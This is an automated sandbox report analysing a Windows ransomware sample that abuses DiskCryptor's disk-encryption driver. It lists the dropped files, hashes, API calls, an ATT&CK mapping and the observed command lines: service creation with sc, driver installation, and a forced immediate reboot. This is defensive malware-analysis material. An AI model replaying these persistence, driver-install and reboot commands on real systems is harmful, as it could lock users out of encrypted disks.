CEWin9xPosixOS2Windows CUIWindows GUINativeCEEM32RCEFTriCoreMIPS-FPU16MIPS-FPUAlpha-64MIPS-16PPC-FPPPCAM33ARM-NTARM-ThumbSH5SH4SH3ESH3-DSPSH3MIPS-V2MIPS-R10000MIPS-R4000MIPS-R3000I860SharedNotPagedNotCachedDiscardableExtendedRelocationsLOCKEDPURGEABLEGPNO_DEFER_SPEC_EXCCOMDATRemoveCommentsOtherUninitializedDataInitializedDataCodeNoPadTerminalServerAwareGuardCFWDMAppContainerNoBindNoSEHNoIsolationNX-CompatibleIntegrityRelocatedHighEntropyVABig-EndianLittle-EndianUniCPUSystemNetRunRemovableRunNoDebugInfoAggressiveWsTrimNoLocalSymsNoLineNumsNoRelocsLargeAddress32-bitDLLExecutableChecksum errorefi[]align_.ico.bmpversion.txtstring.txt.debugVFT2_DRV_FILESUBTYPE FILETYPE FILEOS VS_FF_ \| FILEFLAGS FILEFLAGSMASK ProductVersionFileVersionPRODUCTVERSION FILEVERSION .rsrc_1StringFileInfo, TranslationVALUEVarFileInfoBLOCKVS_VERSION_INFOFileVersionFileDescriptionOriginalFilename: _winzip_.rsrcCOFF_SYMBOLSCERTIFICATE^# vs 09490699.exe
Source: 09490699.exe, 00000006.00000003.563688208.00000000013EE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename7z.dll, vs 09490699.exe
Source: 09490699.exe, 00000006.00000003.563539054.00000000012E1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename7z.exe, vs 09490699.exe
Source: 09490699.exe, 00000006.00000002.569650610.0000000000506000.00000008.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilename7z.exe, vs 09490699.exe
Source: 09490699.exe, 00000006.00000002.569650610.0000000000506000.00000008.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilename vs 09490699.exe
Source: 09490699.exe, 00000006.00000002.569650610.0000000000506000.00000008.00000001.01000000.00000003.sdmp	Binary or memory string: teTEobjCOFFexe dll sysPEVFT2_FONT_TRUETYPEVFT2_FONT_VECTORVFT2_FONT_RASTERVERSIONED_PRINTERINPUTMETHODCOMMSOUNDINSTALLABLESYSTEMNETWORKMOUSEDISPLAYLANGUAGEKEYBOARDPRINTERVFT_STATIC_LIB0x6VFT_VXDVFT_FONTVFT_DRVVFT_DLLVFT_APPVFT_UNKNOWNVOS__WINDOWS32VOS__PM32VOS__PM16VOS__WINDOWS16VOS__BASEVOS_WINCEVOS_NTVOS_OS232VOS_OS216VOS_DOSVOS_UNKNOWNVOS_NT_WINDOWS32VOS_OS232_PM32VOS_OS216_PM16VOS_DOS_WINDOWS32VOS_DOS_WINDOWS16SPECIALBUILDINFOINFERREDPRIVATEBUILDPATCHEDPRERELEASEImage BaseHeap CommitHeap ReserveStack CommitStack ReserveDLL CharacteristicsSubsystemSubsystem VersionImage VersionOS VersionLinker VersionUninitialized Data SizeInitialized Data SizeCode SizeFile AlignmentSection AlignmentImage SizeMANIFESTHTMLANIICONANICURSORVXDPLUGPLAYDLGINCLUDEVERSIONGROUP_ICONGROUP_CURSORMESSAGETABLERCDATAACCELERATORFONTFONTDIRSTRINGDIALOGMENUICONBITMAPCURSORXBOX CatalogWindows BootXBOXEFI ROMEFI RuntimeEFI BootWindows CEWin9xPosixOS2Windows CUIWindows GUINativeCEEM32RCEFTriCoreMIPS-FPU16MIPS-FPUAlpha-64MIPS-16PPC-FPPPCAM33ARM-NTARM-ThumbSH5SH4SH3ESH3-DSPSH3MIPS-V2MIPS-R10000MIPS-R4000MIPS-R3000I860SharedNotPagedNotCachedDiscardableExtendedRelocationsLOCKEDPURGEABLEGPNO_DEFER_SPEC_EXCCOMDATRemoveCommentsOtherUninitializedDataInitializedDataCodeNoPadTerminalServerAwareGuardCFWDMAppContainerNoBindNoSEHNoIsolationNX-CompatibleIntegrityRelocatedHighEntropyVABig-EndianLittle-EndianUniCPUSystemNetRunRemovableRunNoDebugInfoAggressiveWsTrimNoLocalSymsNoLineNumsNoRelocsLargeAddress32-bitDLLExecutableChecksum errorefi[]align_.ico.bmpversion.txtstring.txt.debugVFT2_DRV_FILESUBTYPE FILETYPE FILEOS VS_FF_ \| FILEFLAGS FILEFLAGSMASK ProductVersionFileVersionPRODUCTVERSION FILEVERSION .rsrc_1StringFileInfo, TranslationVALUEVarFileInfoBLOCKVS_VERSION_INFOFileVersionFileDescriptionOriginalFilename: _winzip_.rsrcCOFF_SYMBOLSCERTIFICATE^# vs 09490699.exe
Source: 09490699.exe, 00000006.00000002.569650610.0000000000506000.00000008.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilename7z.dll, vs 09490699.exe
Source: 09490699.exe	Binary or memory string: OriginalFilename7z.exe, vs 09490699.exe
Source: 09490699.exe	Binary or memory string: OriginalFilename vs 09490699.exe
Source: 09490699.exe	Binary or memory string: teTEobjCOFFexe dll sysPEVFT2_FONT_TRUETYPEVFT2_FONT_VECTORVFT2_FONT_RASTERVERSIONED_PRINTERINPUTMETHODCOMMSOUNDINSTALLABLESYSTEMNETWORKMOUSEDISPLAYLANGUAGEKEYBOARDPRINTERVFT_STATIC_LIB0x6VFT_VXDVFT_FONTVFT_DRVVFT_DLLVFT_APPVFT_UNKNOWNVOS__WINDOWS32VOS__PM32VOS__PM16VOS__WINDOWS16VOS__BASEVOS_WINCEVOS_NTVOS_OS232VOS_OS216VOS_DOSVOS_UNKNOWNVOS_NT_WINDOWS32VOS_OS232_PM32VOS_OS216_PM16VOS_DOS_WINDOWS32VOS_DOS_WINDOWS16SPECIALBUILDINFOINFERREDPRIVATEBUILDPATCHEDPRERELEASEImage BaseHeap CommitHeap ReserveStack CommitStack ReserveDLL CharacteristicsSubsystemSubsystem VersionImage VersionOS VersionLinker VersionUninitialized Data SizeInitialized Data SizeCode SizeFile AlignmentSection AlignmentImage SizeMANIFESTHTMLANIICONANICURSORVXDPLUGPLAYDLGINCLUDEVERSIONGROUP_ICONGROUP_CURSORMESSAGETABLERCDATAACCELERATORFONTFONTDIRSTRINGDIALOGMENUICONBITMAPCURSORXBOX CatalogWindows BootXBOXEFI ROMEFI RuntimeEFI BootWindows CEWin9xPosixOS2Windows CUIWindows GUINativeCEEM32RCEFTriCoreMIPS-FPU16MIPS-FPUAlpha-64MIPS-16PPC-FPPPCAM33ARM-NTARM-ThumbSH5SH4SH3ESH3-DSPSH3MIPS-V2MIPS-R10000MIPS-R4000MIPS-R3000I860SharedNotPagedNotCachedDiscardableExtendedRelocationsLOCKEDPURGEABLEGPNO_DEFER_SPEC_EXCCOMDATRemoveCommentsOtherUninitializedDataInitializedDataCodeNoPadTerminalServerAwareGuardCFWDMAppContainerNoBindNoSEHNoIsolationNX-CompatibleIntegrityRelocatedHighEntropyVABig-EndianLittle-EndianUniCPUSystemNetRunRemovableRunNoDebugInfoAggressiveWsTrimNoLocalSymsNoLineNumsNoRelocsLargeAddress32-bitDLLExecutableChecksum errorefi[]align_.ico.bmpversion.txtstring.txt.debugVFT2_DRV_FILESUBTYPE FILETYPE FILEOS VS_FF_ \| FILEFLAGS FILEFLAGSMASK ProductVersionFileVersionPRODUCTVERSION FILEVERSION .rsrc_1StringFileInfo, TranslationVALUEVarFileInfoBLOCKVS_VERSION_INFOFileVersionFileDescriptionOriginalFilename: _winzip_.rsrcCOFF_SYMBOLSCERTIFICATE^# vs 09490699.exe
Source: 09490699.exe	Binary or memory string: OriginalFilename7z.dll, vs 09490699.exe

Source: C:\Disgusting\13.exe

File created: C:\Disgusting\dcrypt.sys

Jump to behavior

Source: C:\Disgusting\13.exe

Process token adjusted: Security

Jump to behavior

Source: Joe Sandbox View	Dropped File: C:\Disgusting\13.exe 56CC9E7E3767C0CFFAE8161BF0AD13457487C1B422E2879B897DBD4BAB115776
Source: Joe Sandbox View	Dropped File: C:\Disgusting\7z.dll 92F6E97C9177361EE5425826585E6E4470052A36BB4E0D0E8667E83B41652C2F

Source: 09490699.exe

ReversingLabs: Detection: 54%

Source: 09490699.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\sc.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c sc create JPfnJ binpath= "C:\Users\user\Desktop\09490699.exe" >> C:\servicereg.log 2>&1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc create JPfnJ binpath= "C:\Users\user\Desktop\09490699.exe"
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c sc start JPfnJ >> C:\servicestart.log 2>&1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc start JPfnJ
Source: unknown	Process created: C:\Users\user\Desktop\09490699.exe C:\Users\user\Desktop\09490699.exe
Source: C:\Users\user\Desktop\09490699.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c 13.exe x -y 50
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Disgusting\13.exe 13.exe x -y 50
Source: C:\Users\user\Desktop\09490699.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c if exist %windir%\Sysnative\drivers\dcrypt.sys (echo 1) else (echo 0)
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\09490699.exe	Process created: C:\Disgusting\dcinst.exe dcinst.exe -setup
Source: C:\Users\user\Desktop\09490699.exe	Process created: C:\Windows\SysWOW64\shutdown.exe shutdown -r -t 0 -f
Source: C:\Windows\SysWOW64\shutdown.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc create JPfnJ binpath= "C:\Users\user\Desktop\09490699.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc start JPfnJ	Jump to behavior
Source: C:\Users\user\Desktop\09490699.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c 13.exe x -y 50	Jump to behavior
Source: C:\Users\user\Desktop\09490699.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c if exist %windir%\Sysnative\drivers\dcrypt.sys (echo 1) else (echo 0)	Jump to behavior
Source: C:\Users\user\Desktop\09490699.exe	Process created: C:\Disgusting\dcinst.exe dcinst.exe -setup	Jump to behavior
Source: C:\Users\user\Desktop\09490699.exe	Process created: C:\Windows\SysWOW64\shutdown.exe shutdown -r -t 0 -f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Disgusting\13.exe 13.exe x -y 50	Jump to behavior

Source: C:\Disgusting\13.exe	Code function: 9_2_0123D4F9 __EH_prolog,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		9_2_0123D4F9
Source: C:\Disgusting\13.exe	Code function: 9_2_01237EB5 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,FindCloseChangeNotification,		9_2_01237EB5

Source: dcrypt.sys.12.dr

Binary string: configFlags\Device\dcrypt\DosDevices\dcryptdump_hiber_%s\$dcsys$$dcsys$\Device\CdRom%s\$DC_TRIM_%x$$dcsys$_fail_%xNTFSFATFAT32exFATRSDS

Source: classification engine

Classification label: mal76.rans.winEXE@22/10@0/0

Source: C:\Users\user\Desktop\09490699.exe

Code function: StartServiceCtrlDispatcherW,wcslen,wcslen,wcslen,GetModuleFileNameW,OpenSCManagerW,CreateServiceW,CloseServiceHandle,CloseServiceHandle,system,

6_2_00401770

Source: C:\Disgusting\13.exe

Code function: 9_2_01237DF4 DeviceIoControl,GetModuleHandleW,GetProcAddress,GetDiskFreeSpaceW,

9_2_01237DF4

Source: C:\Users\user\Desktop\09490699.exe

Code function: 6_2_00401770 StartServiceCtrlDispatcherW,wcslen,wcslen,wcslen,GetModuleFileNameW,OpenSCManagerW,CreateServiceW,CloseServiceHandle,CloseServiceHandle,system,

6_2_00401770

Source: C:\Users\user\Desktop\09490699.exe

Code function: 6_2_00401770 StartServiceCtrlDispatcherW,wcslen,wcslen,wcslen,GetModuleFileNameW,OpenSCManagerW,CreateServiceW,CloseServiceHandle,CloseServiceHandle,system,

6_2_00401770

Source: C:\Users\user\Desktop\09490699.exe	Mutant created: \BaseNamedObjects\gcc-shmem-tdm2-global_lock_spinlock
Source: C:\Disgusting\dcinst.exe	Mutant created: \BaseNamedObjects\DISKCRYPTOR_MUTEX
Source: C:\Users\user\Desktop\09490699.exe	Mutant created: \BaseNamedObjects\gcc-shmem-tdm2-mtx_pthr_locked_shmem
Source: C:\Users\user\Desktop\09490699.exe	Mutant created: \BaseNamedObjects\gcc-shmem-tdm2-cond_locked_shmem_rwlock
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5144:120:WilError_01
Source: C:\Users\user\Desktop\09490699.exe	Mutant created: \BaseNamedObjects\gcc-shmem-tdm2-idListCnt_shmem
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7056:120:WilError_01
Source: C:\Users\user\Desktop\09490699.exe	Mutant created: \BaseNamedObjects\gcc-shmem-tdm2-pthr_root_shmem
Source: C:\Users\user\Desktop\09490699.exe	Mutant created: \BaseNamedObjects\gcc-shmem-tdm2-fc_key
Source: C:\Users\user\Desktop\09490699.exe	Mutant created: \BaseNamedObjects\gcc-shmem-tdm2-_pthread_key_max_shmem
Source: C:\Users\user\Desktop\09490699.exe	Mutant created: \BaseNamedObjects\gcc-shmem-tdm2-mxattr_recursive_shmem
Source: C:\Users\user\Desktop\09490699.exe	Mutant created: \BaseNamedObjects\gcc-shmem-tdm2-mutex_global_static_shmem
Source: C:\Users\user\Desktop\09490699.exe	Mutant created: \BaseNamedObjects\gcc-shmem-tdm2-idListMax_shmem
Source: C:\Users\user\Desktop\09490699.exe	Mutant created: \BaseNamedObjects\gcc-shmem-tdm2-rwl_global_shmem
Source: C:\Users\user\Desktop\09490699.exe	Mutant created: \BaseNamedObjects\gcc-shmem-tdm2-idList_shmem
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5776:120:WilError_01
Source: C:\Users\user\Desktop\09490699.exe	Mutant created: \BaseNamedObjects\gcc-shmem-tdm2-_pthread_key_lock_shmem
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5140:120:WilError_01
Source: C:\Users\user\Desktop\09490699.exe	Mutant created: \BaseNamedObjects\gcc-shmem-tdm2-sjlj_once
Source: C:\Users\user\Desktop\09490699.exe	Mutant created: \BaseNamedObjects\gcc-shmem-tdm2-pthr_last_shmem
Source: C:\Users\user\Desktop\09490699.exe	Mutant created: \BaseNamedObjects\gcc-shmem-tdm2-mutex_global_shmem
Source: C:\Users\user\Desktop\09490699.exe	Mutant created: \BaseNamedObjects\gcc-shmem-tdm2-once_obj_shmem
Source: C:\Users\user\Desktop\09490699.exe	Mutant created: \BaseNamedObjects\gcc-shmem-tdm2-_pthread_tls_shmem
Source: C:\Users\user\Desktop\09490699.exe	Mutant created: \BaseNamedObjects\gcc-shmem-tdm2-use_fc_key
Source: C:\Users\user\Desktop\09490699.exe	Mutant created: \BaseNamedObjects\gcc-shmem-tdm2-idListNextId_shmem
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7148:120:WilError_01
Source: C:\Users\user\Desktop\09490699.exe	Mutant created: \BaseNamedObjects\gcc-shmem-tdm2-_pthread_key_dest_shmem
Source: C:\Users\user\Desktop\09490699.exe	Mutant created: \BaseNamedObjects\gcc-shmem-tdm2-once_global_shmem
Source: C:\Users\user\Desktop\09490699.exe	Mutant created: \BaseNamedObjects\gcc-shmem-tdm2-_pthread_tls_once_shmem
Source: C:\Users\user\Desktop\09490699.exe	Mutant created: \BaseNamedObjects\gcc-shmem-tdm2-_pthread_key_sch_shmem

Source: 09490699.exe	String found in binary or memory: -help
Source: 09490699.exe	String found in binary or memory: Check charset encoding and -scs switch.Cannot find listfilebsobbbtbdba-helph?asut012sea0-pstlsdelsntsncsnrsnssnisnlsnhspfspespdsasscssesswsltsccscsslpsosiscrcsemlsfxstmrvuanaxaiiwstxtaoadybspbseUnsupported switch postfix for -slp-Unsupported switch postfix -stmSeLockMemoryPrivilegeUnsupported switch postfix -bbSeCreateSymbolicLinkPrivilegeSeRestorePrivilegeIncorrect Number of benmchmark iterationsOnly one archive can be created with rename commandstdout mode and email mode cannot be combined-ai switch is not supported for this commandCannot use absolute pathnames for this commandArchive name cannot by emptyCannot find archive nameUnsupported -spf:2Unsupported command:The command must be specifiedThere is no second file name for rename pair:Unsupported rename command:-r0-rThe file operation error for listfileIncorrect wildcard type markerToo short switchUnsupported Map data sizeMap data errorUnsupported Map dataMapViewOfFile errorCan not open mappingIncorrect volume size:incorrect update switch commandUnsupported charset:

Source: 09490699.exe

Static file information: File size 4408320 > 1048576

Source: 09490699.exe

Static PE information: Raw size of .rsrc is bigger than: 0x100000 < 0x336c00

Source:

Source: C:\Disgusting\13.exe	Code function: 9_2_01263510 push ecx; mov dword ptr [esp], ecx	9_2_01263511
Source: C:\Disgusting\13.exe	Code function: 9_2_012639E0 push eax; ret	9_2_012639FE
Source: C:\Disgusting\13.exe	Code function: 9_2_01263D80 push eax; ret	9_2_01263DAE

Source: 09490699.exe	Static PE information: section name: .eh_fram
Source: 13.exe.6.dr	Static PE information: section name: .sxdata
Source: 7z.dll.6.dr	Static PE information: section name: .sxdata

Source: C:\Disgusting\13.exe

Code function: 9_2_01260A10 GetCurrentProcess,GetProcessTimes,fputs,memset,GetModuleHandleW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetCurrentProcess,GetProcAddress,GetCurrentProcess,fputs,__aulldiv,fputs,

9_2_01260A10

Source: 7z.dll.6.dr	Static PE information: real checksum: 0x0 should be: 0x120ccb
Source: 09490699.exe	Static PE information: real checksum: 0x2a89dd should be: 0x43467b
Source: dcapi.dll.9.dr	Static PE information: real checksum: 0x0 should be: 0x3c1d0
Source: 13.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x48a12

Persistence and Installation Behavior

Sample is not signed and drops a device driver

Source: C:\Disgusting\13.exe	File created: C:\Disgusting\dcrypt.sys			Jump to behavior
Source: C:\Disgusting\dcinst.exe	File created: C:\Windows\system32\drivers\dcrypt.sys			Jump to behavior

Source: C:\Disgusting\13.exe	File created: C:\Disgusting\dcapi.dll	Jump to dropped file
Source: C:\Disgusting\dcinst.exe	File created: C:\Windows\System32\drivers\dcrypt.sys	Jump to dropped file
Source: C:\Disgusting\13.exe	File created: C:\Disgusting\dcinst.exe	Jump to dropped file
Source: C:\Disgusting\13.exe	File created: C:\Disgusting\dccon.exe	Jump to dropped file
Source: C:\Users\user\Desktop\09490699.exe	File created: C:\Disgusting\13.exe	Jump to dropped file
Source: C:\Users\user\Desktop\09490699.exe	File created: C:\Disgusting\7z.dll	Jump to dropped file
Source: C:\Disgusting\13.exe	File created: C:\Disgusting\dcrypt.sys	Jump to dropped file

Source: C:\Disgusting\dcinst.exe

File created: C:\Windows\System32\drivers\dcrypt.sys

Jump to dropped file

Source: C:\Disgusting\dcinst.exe

Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\dcrypt\Instances

Jump to behavior

Source: C:\Users\user\Desktop\09490699.exe

Code function: 6_2_00401770 StartServiceCtrlDispatcherW,wcslen,wcslen,wcslen,GetModuleFileNameW,OpenSCManagerW,CreateServiceW,CloseServiceHandle,CloseServiceHandle,system,

6_2_00401770

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\sc.exe sc create JPfnJ binpath= "C:\Users\user\Desktop\09490699.exe"

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Disgusting\dcinst.exe	Dropped PE file which has not been started: C:\Windows\System32\drivers\dcrypt.sys	Jump to dropped file
Source: C:\Disgusting\13.exe	Dropped PE file which has not been started: C:\Disgusting\dccon.exe	Jump to dropped file
Source: C:\Disgusting\13.exe	Dropped PE file which has not been started: C:\Disgusting\dcrypt.sys	Jump to dropped file

Source: C:\Disgusting\13.exe

Code function: 9_2_012433F3 GetSystemInfo,GetModuleHandleA,GetProcAddress,

9_2_012433F3

Source: C:\Disgusting\13.exe	Code function: 9_2_012358CD __EH_prolog,FindFirstFileW,FindFirstFileW,FindFirstFileW,		9_2_012358CD
Source: C:\Disgusting\13.exe	Code function: 9_2_0123765C FindFirstFileW,		9_2_0123765C

Source: C:\Disgusting\13.exe

Code function: 9_2_01236306 __EH_prolog,GetLogicalDriveStringsW,GetLogicalDriveStringsW,GetLogicalDriveStringsW,

9_2_01236306

Source: C:\Disgusting\13.exe

9_2_01260A10

Source: C:\Users\user\Desktop\09490699.exe	Code function: 6_2_00401000 SetUnhandledExceptionFilter,__getmainargs,_iob,_setmode,_setmode,_setmode,__p__fmode,__p__environ,_cexit,ExitProcess,	6_2_00401000
Source: C:\Disgusting\dcinst.exe	Code function: 12_2_00007FF6C160178C SetUnhandledExceptionFilter,	12_2_00007FF6C160178C
Source: C:\Disgusting\dcinst.exe	Code function: 12_2_00007FF6C1601290 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	12_2_00007FF6C1601290

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc create JPfnJ binpath= "C:\Users\user\Desktop\09490699.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc start JPfnJ	Jump to behavior
Source: C:\Users\user\Desktop\09490699.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c 13.exe x -y 50	Jump to behavior
Source: C:\Users\user\Desktop\09490699.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c if exist %windir%\Sysnative\drivers\dcrypt.sys (echo 1) else (echo 0)	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Disgusting\13.exe 13.exe x -y 50	Jump to behavior

Source: C:\Disgusting\dcinst.exe

Code function: 12_2_00007FF87A7C8260 cpuid

12_2_00007FF87A7C8260

Source: C:\Disgusting\13.exe

Code function: 9_2_0123877D GetSystemTimeAsFileTime,

9_2_0123877D

Source: C:\Disgusting\13.exe

Code function: 9_2_012615C3 GetVersionExW,

9_2_012615C3

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	2 Command and Scripting Interpreter	24 Windows Service	1 Access Token Manipulation	3 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 System Shutdown/Reboot
Default Accounts	3 Service Execution	Boot or Logon Initialization Scripts	24 Windows Service	1 Access Token Manipulation	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Junk Data	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	1 Native API	Logon Script (Windows)	11 Process Injection	11 Process Injection	Security Account Manager	15 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Steganography	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 Deobfuscate/Decode Files or Information	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
09490699.exe	54%	ReversingLabs	Win32.Ransomware.Avaddon
09490699.exe	100%	Avira	TR/ATRAPS.Gen

Dropped Files

Source	Detection	Scanner
C:\Disgusting\dcapi.dll	100%	Joe Sandbox ML
C:\Disgusting\13.exe	0%	ReversingLabs
C:\Disgusting\7z.dll	0%	ReversingLabs
C:\Disgusting\dcapi.dll	0%	ReversingLabs
C:\Disgusting\dccon.exe	0%	ReversingLabs
C:\Disgusting\dcinst.exe	0%	ReversingLabs
C:\Disgusting\dcrypt.sys	0%	ReversingLabs
C:\Windows\System32\drivers\dcrypt.sys	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://ocsp.thawte.com0	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

⊘No contacted domains info

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://diskcryptor.net/	13.exe, 00000009.00000003.566050147.0000000001280000.00000004.00001000.00020000.00000000.sdmp, dcinst.exe, dcinst.exe, 0000000C.00000002.568234288.00007FF6C1604000.00000002.00000001.01000000.00000006.sdmp, dcinst.exe, 0000000C.00000002.568298577.00007FF87A7EC000.00000002.00000001.01000000.00000007.sdmp, dcinst.exe, 0000000C.00000003.568069514.000000000099B000.00000004.00000020.00020000.00000000.sdmp, dcrypt.sys.9.dr, dcrypt.sys.12.dr, dcapi.dll.9.dr, dcinst.exe.9.dr, dccon.exe.9.dr	false		high
http://crl.thawte.com/ThawteTimestampingCA.crl0	13.exe, 00000009.00000003.565979458.0000000001300000.00000004.00001000.00020000.00000000.sdmp, 13.exe, 00000009.00000003.566050147.0000000001280000.00000004.00001000.00020000.00000000.sdmp, dcinst.exe, 0000000C.00000003.568069514.000000000099B000.00000004.00000020.00020000.00000000.sdmp, dcrypt.sys.9.dr, dcrypt.sys.12.dr	false		high
http://gcc.gnu.org/bugs.html):	09490699.exe	false		high
http://ocsp.thawte.com0	13.exe, 00000009.00000003.565979458.0000000001300000.00000004.00001000.00020000.00000000.sdmp, 13.exe, 00000009.00000003.566050147.0000000001280000.00000004.00001000.00020000.00000000.sdmp, dcinst.exe, 0000000C.00000003.568069514.000000000099B000.00000004.00000020.00020000.00000000.sdmp, dcrypt.sys.9.dr, dcrypt.sys.12.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

⊘No contacted IP infos

General Information

Joe Sandbox Version:	37.1.0 Beryl
Analysis ID:	884770
Start date and time:	2023-06-09 10:01:41 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 7m 28s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Run name:	Run as Windows Service
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	09490699.exe
Detection:	MAL
Classification:	mal76.rans.winEXE@22/10@0/0
EGA Information:	Failed
HDC Information:	Successful, ratio: 32.1% (good quality ratio 26.8%) Quality average: 67.2% Quality standard deviation: 35.8%
HCA Information:	Successful, ratio: 66% Number of executed functions: 67 Number of non-executed functions: 117
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

